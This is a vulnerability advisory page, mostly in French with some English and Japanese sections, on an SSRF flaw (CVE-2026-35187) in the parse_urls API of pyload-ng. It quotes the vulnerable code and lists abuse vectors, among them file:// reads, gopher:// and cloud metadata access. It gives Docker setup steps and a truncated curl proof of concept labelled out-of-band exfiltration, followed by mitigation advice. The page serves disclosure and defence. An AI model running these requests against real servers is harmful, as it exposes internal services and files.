SSRF (Falsification de requête côté serveur) dans pyload-ng (CVE-2026-35187)
Résumé
SSRF dans pyload-ng (CVE-2026-35187). Des informations confidentielles peuvent être exposées. Exploitable via parse_urls.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proo…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Résumé généré automatiquement
Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.
Une vulnérabilité référencée CVE-2026-35187 a été découverte dans pyload-ng.
Des attaquants peuvent cibler un point d'entrée spécifique comme parse_urls à distance pour détourner le produit.
Des informations confidentielles peuvent être exposées. Score CVSS : 7.7/10.
Action : appliquez le correctif officiel de l'éditeur.
En cas de doute, contactez votre service informatique ou cherchez « pyload-ng CVE-2026-35187 » sur le site de l'éditeur.
CVE-2026-35187 (pyload-ng) — CWE-918 / CVSS v3 7.7
Vecteur d'attaque : distant (réseau) / sans interaction utilisateur
Surface d'attaque : parse_urls / url
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une SSRF (CWE-918) affecte pyload-ng. Les attaquants atteignent le code vulnérable via parse_urls.
Consultez l'avis de l'éditeur pour les versions affectées de pyload-ng. Surface d'attaque : parse_urls / url.
Gravité : Élevée (CVSS 7.7/10). Des informations confidentielles peuvent être exposées.
Mettre à jour vers la version corrigée selon l'avis éditeur.
En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.
Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
-
1Identify exposure identify
grep -r 'pyload-ng' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
pyload-ngを grep し、稼働しているサービス・バージョンを把握する。 -
2Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Paquets affectés
Références
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com